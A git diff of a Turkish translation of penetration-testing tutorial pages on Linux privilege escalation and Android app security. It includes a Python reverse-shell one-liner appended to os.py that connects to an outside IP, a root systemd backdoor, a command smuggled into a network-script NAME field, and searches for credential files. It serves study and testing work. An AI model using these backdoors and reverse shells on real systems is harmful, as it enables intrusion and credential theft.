**tomcat** sunucusu çalıştırıyorsa ve **Tomcat servis yapılandırma dosyasını /etc/systemd/ içinde değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Backdoor'unuz, tomcat bir sonraki başlatıldığında çalıştırılacaktır. +Backdoor'unuz, tomcat bir sonraki başlatılışında çalıştırılacak. -### Klasörleri Kontrol Et +### Klasörleri Kontrol Edin -Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin) +Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncuyu okuyamayacaksınız ama deneyin) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1329,7 +1322,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml dosyalar +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml dosyaları ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1337,7 +1330,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH İçindeki Script/Binaries** +### **PATH'teki Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1353,22 +1346,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Known files containing passwords +### Şifreler içerebilecek bilinen dosyalar -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin, **passwords içerebilecek birkaç olası dosyayı** arar.\ -**Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bilgisayarda depolanan çok sayıda passwords'i almak için kullanılan açık kaynaklı bir uygulamadır. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin; şifre içerebilecek **birkaç olası dosyayı** arar.\ +**Bunu yapmak için kullanabileceğiniz başka ilginç bir araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) açık kaynaklı bir uygulamadır; Windows, Linux & Mac için yerel bir bilgisayarda depolanan birçok şifreyi elde etmek için kullanılır. -### Logs +### Loglar -Eğer logs'ları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olur.\ -Ayrıca, bazı "**bad**" yapılandırılmış (backdoored?) **audit logs**, bu gönderide açıklandığı gibi, audit logs içine **passwords kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Logları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olur.\ +Ayrıca, bazı "**kötü**" yapılandırılmış (backdoored?) **audit logları**, bu gönderide açıklandığı gibi audit loglarına **şifre kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Kayıtları **okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) gerçekten çok yardımcı olacaktır. +**Logları okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) gerçekten çok yardımcı olacaktır. -### Shell dosyaları +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1381,41 +1374,41 @@ Kayıtları **okumak için grup** [**adm**](interesting-groups-linux-pe/index.ht ``` ### Generic Creds Search/Regex -Dosya adında veya içeriğinde "**password**" kelimesi geçen dosyaları kontrol etmelisiniz; ayrıca loglar içinde IP'leri ve e-postaları veya hashes regexps'leri de kontrol edin.\ -Bunların hepsini burada nasıl yapacağınızı listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. +Ayrıca **adı** veya **içeriği** içinde "**password**" kelimesi geçen dosyaları, log'lar içindeki IP'leri ve e-postaları veya hash'leri (regexps) kontrol etmelisiniz.\ +Burada bunların tümünü nasıl yapacağınızı listelemeyeceğim, ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. ## Yazılabilir dosyalar ### Python library hijacking -Eğer bir **python** scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirip ona backdoor ekleyebilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, os kütüphanesini değiştirip backdoor yerleştirebilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Kütüphaneyi **backdoor the library** yapmak için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate istismarı +### Logrotate exploitation -`logrotate`'deki bir güvenlik açığı, bir log dosyası veya üst dizinlerinde **yazma izinleri** olan kullanıcıların potansiyel olarak ayrıcalık yükseltmesine izin verebilir. Bunun nedeni, sıklıkla **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştıracak şekilde manipüle edilebilmesidir. İzinleri sadece _/var/log_ içinde değil, log rotasyonu uygulanan herhangi bir dizinde de kontrol etmek önemlidir. +`logrotate`'daki bir zafiyet, bir log dosyası veya üst dizinlerinde **yazma izinleri** olan kullanıcıların ayrıcalık yükseltmesine olanak verebilir. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in kötüye kullanılarak özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaların çalıştırılmasının sağlanabilmesidir. İzinleri sadece _/var/log_ içinde değil, log rotation uygulanan herhangi bir dizinde de kontrol etmek önemlidir. > [!TIP] -> Bu güvenlik açığı `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkiler +> Bu zafiyet `logrotate` sürüm `3.18.0` ve öncekilerini etkiler -Güvenlik açığı hakkında daha detaylı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Bu güvenlik açığı [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edilebilir. +Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. -Bu güvenlik açığı [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ile çok benzer olduğundan logları değiştirebildiğinizi gördüğünüzde, bu logları kim yönettiğini kontrol edin ve logları symlink ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. +Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) (**nginx logs**) ile çok benzer, bu yüzden günlükleri değiştirebildiğinizi her bulduğunuzda, bu günlükleri kimin yönettiğini kontrol edin ve günlükleri symlink ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinize bakın. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Eğer herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scriptini **yazabiliyor** veya mevcut bir dosyayı **düzenleyebiliyorsa**, sisteminiz **system is pwned** demektir. +Eğer herhangi bir sebeple bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scripti **yazabiliyorsa** **veya** mevcut bir scripti **düzenleyebiliyorsa**, sisteminiz pwned olur. -Network scriptleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. +Network scripts, örneğin _ifcg-eth0_, network bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. -Benim durumumda, bu network scriptlerindeki `NAME=` özniteliği doğru şekilde işlenmiyor. Eğer isimde **boşluk/blank space** varsa, **sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu demektir ki **ilk boşluktan sonra gelen her şey root olarak çalıştırılıyor**. +Benim durumda, bu network scriptlerindeki `NAME=` ataması doğru şekilde işlenmiyor. Eğer isimde **beyaz/boşluk karakteri varsa sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırılması** anlamına geliyor. Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1423,17 +1416,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Not: Network ile /bin/id arasında boşluk olduğunu unutmayın_) +(_Network ile /bin/id arasındaki boşluğa dikkat edin_) -### **init, init.d, systemd, ve rc.d** +### **init, init.d, systemd, and rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +Dizin `/etc/init.d`, System V init (SysVinit) için **komut dosyalarının** bulunduğu yerdir; **klasik Linux servis yönetim sistemi** olarak kullanılır. İçinde servisleri `start`, `stop`, `restart` ve bazen `reload` etmek için komut dosyaları bulunur. Bunlar doğrudan çalıştırılabilir veya `/etc/rc?.d/` içinde bulunan sembolik bağlantılar aracılığıyla yürütülebilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'ir. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +Öte yandan, `/etc/init` Upstart ile ilişkilidir; Ubuntu tarafından getirilen daha yeni bir servis yönetimi olup servis yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart içinde bir uyumluluk katmanı bulunduğundan SysVinit komut dosyaları Upstart yapılandırmalarıyla birlikte kullanılmaya devam eder. -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. +**systemd**, isteğe bağlı daemon başlatma, otomatik bağlama (automount) yönetimi ve sistem durumunun anlık görüntülerini alma gibi gelişmiş özellikler sunan modern bir başlatma ve servis yöneticisi olarak öne çıkar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` altında düzenleyerek sistem yönetimini kolaylaştırır. -## Diğer Püf Noktaları +## Diğer Hileler ### NFS Privilege escalation @@ -1458,14 +1451,14 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks genellikle ayrıcalıklı kernel işlevselliğini bir userspace yöneticisine açmak için bir syscall'a hook koyar. Zayıf yönetici doğrulaması (ör. FD-order tabanlı imza kontrolleri veya zayıf parola şemaları) bir yerel uygulamanın yöneticiyi taklit etmesine ve zaten root'lu cihazlarda root'a yükselmesine izin verebilir. Daha fazla bilgi ve exploit detayları için şuraya bakın: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Çekirdek Güvenlik Koruması - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1476,7 +1469,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Linux local privilege escalation vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 54c3511be..a1cf2c499 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,8 +4,7 @@ ## Android Uygulamaları Temelleri -Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; Android güvenliğiyle ilgili **en önemli bölümler ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için: - +Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; **Android güvenliği ile ilgili en önemli parçalar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için: {{#ref}} android-applications-basics.md @@ -13,15 +12,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Bu, bir Android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyacınız olan ana araçtır.\ -**ADB**, bilgisayardan cihazları ya **USB** ya da **Network** üzerinden kontrol etmeye imkân verir. Bu yardımcı program; dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevlerin yanı sıra diğer işler için de kullanılabilir. +Bu, bir Android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\ +**ADB**, bir bilgisayardan **USB** veya **Network** üzerinden cihazları kontrol etmeyi sağlar. Bu araç, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevleri mümkün kılar. -adb'nin nasıl kullanılacağını öğrenmek için aşağıdaki [**ADB Commands**](adb-commands.md) listesine göz atın. +Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb. ## Smali -Bazen **uygulama kodunu değiştirmek**, **gizli bilgilere** (ör. iyi şekilde obfuscate edilmiş şifreler veya flag'ler) erişmek için ilginç olabilir. Bu yüzden, apk'yi decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, dinamik analiz sırasında yapılacak çeşitli testler için çok yararlı bir **alternatif** olabilir. Bu olasılığı her zaman aklınızda bulundurun. +Bazen **uygulama kodunu değiştirmek**, gizli bilgilere (ör. iyi obfuskelenmiş parolalar veya flags) erişmek için ilginç olabilir. Bu durumda apk'yı decompile edip, kodu değiştirip yeniden derlemek ilginç olabilir.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, yapılacak dinamik analiz sırasında sunulacak çeşitli testler için bir **alternatif** olarak çok faydalı olabilir. Bu olasılığı **her zaman aklınızda bulundurun**. ## Diğer ilginç hileler @@ -29,8 +28,8 @@ Bazen **uygulama kodunu değiştirmek**, **gizli bilgilere** (ör. iyi şekilde - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Cihazdan APK çıkarma: +- **APK'leri İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Cihazdan APK çıkar: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Tüm splits ve base apks'i [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin: +- Tüm splits ve base apks'i [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +48,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Vaka Çalışmaları ve Güvenlik Açıkları +## Vaka İncelemeleri & Zayıflıklar {{#ref}} @@ -63,39 +62,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Statik Analiz -Öncelikle, bir APK'yı analiz etmek için bir decompiler kullanarak **Java koduna göz atmalısınız**.\ +Öncelikle, bir APK'yı analiz ederken bir decompiler kullanarak **Java koduna göz atmalısınız**.\ Lütfen, [**farklı kullanılabilir decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md). ### İlginç Bilgiler Arama -APK'nın **strings**'lerine bakarak **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **backdoors** veya kimlik doğrulama backdoor'ları (uygulamaya gömülü admin credentials) arayın. +APK'nın **strings**'lerine bakarak **şifreler**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... ayrıca kod çalıştırma **backdoors** veya kimlik doğrulama backdoors (uygulamaya hardcoded admin credentials) arayın. -**Firebase** +Firebase -Özellikle **firebase URLs**'lerine dikkat edin ve kötü yapılandırılıp yapılandırılmadığını kontrol edin. [Firebase'in ne olduğu ve nasıl istismar edileceği hakkında daha fazla bilgi için burayı okuyun.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Özellikle **firebase URLs**'lerine dikkat edin ve kötü yapılandırılmış olup olmadığını kontrol edin. [Firebase nedir ve nasıl exploit edileceği hakkında daha fazla bilgi için buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Uygulamayı Temel Düzeyde Anlama - Manifest.xml, strings.xml -Bir uygulamanın _Manifest.xml_ ve _strings.xml_ dosyalarının **incelenmesi potansiyel güvenlik zafiyetlerini ortaya çıkarabilir**. Bu dosyalara decompiler'lar ile erişilebileceği gibi APK dosya uzantısını .zip olarak değiştirip açarak da ulaşabilirsiniz. +Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının incelenmesi potansiyel güvenlik zafiyetlerini ortaya çıkarabilir. Bu dosyalara decompiler ile veya APK uzantısını .zip yapıp açarak erişilebilir. -Manifest.xml'den tespit edilebilecek **zafiyetler** şunlardır: +Manifest.xml'den tespit edilebilecek **zayıflıklar** şunlardır: -- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar, bağlantılara izin verdikleri için istismar riski taşır. Debuggable uygulamaların nasıl bulunup istismar edileceği konusunda bir eğitim materyaline bakın. -- **Backup Ayarları**: Hassas bilgi işleyen uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde, özellikle usb debugging etkinse adb üzerinden yetkisiz veri yedeklemeleri yapılabilir. -- **Network Güvenliği**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verilebilir. -- **Export Edilmiş Activities ve Services**: Manifest'te export edilmiş activity ve service'leri belirlemek, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında bu bileşenlerin nasıl istismar edilebileceği daha ayrıntılı olarak analiz edilmelidir. -- **Content Providers ve FileProviders**: Açıkta kalan content provider'lar yetkisiz erişime veya veri değişikliğine izin verebilir. FileProvider konfigürasyonları da dikkatle incelenmelidir. -- **Broadcast Receiver'lar ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir; özellikle URL şemalarının input açısından nasıl yönetildiğine dikkat edilmelidir. -- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; eski ve zafiyetli Android sürümlerini desteklemenin güvenlik riskleri olduğu unutulmamalıdır. +- **Debuggable Applications**: _Manifest.xml_ dosyasında debuggable (`debuggable="true"`) olarak ayarlanmış uygulamalar risk taşır; bu ayar bağlantılara izin vererek exploitation'a yol açabilir. Debuggable uygulamaların cihazda nasıl bulunup exploit edileceğini öğrenmek için ilgili eğitimlere bakın. +- **Backup Settings**: Hassas bilgiyle uğraşan uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde adb ile yetkisiz veri yedeklemelerine izin verilebilir, özellikle usb debugging etkinse. +- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleme ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verme. +- **Exported Activities and Services**: Manifest'te exported aktiviteler ve servislerin tespiti, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında bu bileşenlerin nasıl exploit edilebileceği daha iyi anlaşılır. +- **Content Providers and FileProviders**: Açıkta bırakılmış content provider'lar yetkisiz erişim veya veri değişikliğine izin verebilir. FileProviders yapılandırması da dikkatle incelenmelidir. +- **Broadcast Receivers and URL Schemes**: Bu bileşenler exploitation için kullanılabilir; özellikle URL şemalarının girdilerini nasıl yönettiğine dikkat edilmelidir. +- **SDK Versions**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; eski ve zayıf Android sürümlerine destek vermemek güvenlik açısından önemlidir. -**strings.xml** dosyasından API keys, custom schemas ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu nedenle bu kaynakların dikkatli incelenmesi önemlidir. +**strings.xml** dosyasından API keys, özel schema'lar ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu kaynakların dikkatle incelenmesi gerektiğini vurgular. ### Tapjacking -**Tapjacking** bir saldırıdır; burada bir **kötü niyetli** **uygulama** başlatılır ve **hedef uygulamanın üzerine kendini konumlandırır**. Kurban uygulamayı görünür şekilde örttüğünde, kullanıcıyı yanıltacak şekilde bir kullanıcı arayüzü tasarlanır ve yapılan etkileşimler arka plandaki hedef uygulamaya iletilir.\ -Böylece kullanıcı **gerçekte hedef uygulama üzerinde işlem yaptığını bilmeden** harekete geçirilmiş olur. +Tapjacking, kötü amaçlı bir **application**'ın başlatılıp **kurban uygulamanın üzerine konumlanmasıyla** gerçekleşen bir saldırıdır. Kurban uygulamayı görünür şekilde örttüğünde, kötü amaçlı uygulamanın UI'sı kullanıcıyı etkileşimde bulunmaya kandıracak şekilde tasarlanır; aynı zamanda bu etkileşimi kurban uygulamaya iletir.\ +Sonuç olarak, kullanıcı aslında kurban uygulamada işlem yapıyor olduğunu bilmeden **körlenir**. -Daha fazla bilgi için bakınız: +Daha fazla bilgi için bakın: {{#ref}} @@ -104,55 +103,55 @@ tapjacking.md ### Task Hijacking -`launchMode`'u `singleTask` olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **activity** task Hijacking'e karşı savunmasızdır. Bu durum, kötü amaçlı bir **uygulamanın** yüklendikten sonra gerçek uygulamadan önce başlatılması halinde **gerçek uygulamanın task'ını kaçırabilmesi** (kullanıcının gerçek uygulamayı kullandığını düşünürken kötü amaçlı uygulama ile etkileşimde bulunması) anlamına gelir. +`launchMode` değeri **`singleTask`** olarak ayarlanmış ve herhangi bir **`taskAffinity`** tanımlanmamış bir **activity**, task Hijacking'e karşı açıktır. Bu, kötü amaçlı bir **application** yüklenip gerçek uygulamadan önce çalıştırılırsa **gerçek uygulamanın task'ını ele geçirebileceği** anlamına gelir (kullanıcı gerçek uygulamayı kullanıyormuş sanarak **kötü amaçlı uygulamayla etkileşimde bulunur**). -Daha fazla bilgi: +Detaylar için: {{#ref}} android-task-hijacking.md {{#endref}} -### Güvenli Olmayan Veri Depolama +### Güvensiz veri depolama -**Internal Storage** +Internal Storage -Android'de dahili depolamada **saklanan** dosyalar, **oluşturan uygulama tarafından erişilebilir** olacak şekilde tasarlanmıştır. Bu güvenlik mekanizması Android işletim sistemi tarafından uygulanır ve çoğu uygulamanın güvenlik gereksinimleri için genellikle yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin vermek için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanır. Bu modlar, söz konusu dosyalara diğer uygulamaların, kötü niyetli uygulamalar dahil olmak üzere, erişimini kısıtlamaz. +Android'de dahili depolamada saklanan dosyalar, onları oluşturan uygulama tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik mekanizması Android işletim sistemi tarafından uygulanır ve çoğu uygulama için yeterlidir. Ancak geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında paylaşılmasına izin verirler. Bu modlar dosyalara diğer uygulamalar, potansiyel olarak kötü amaçlı olanlar dahil, erişimini kısıtlamaz. -1. **Statik Analiz:** -- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatle incelenmesini** sağlayın. Bu modlar dosyaların **istenmeyen veya yetkisiz erişime** maruz kalmasına yol açabilir. -2. **Dinamik Analiz:** -- Uygulama tarafından oluşturulan 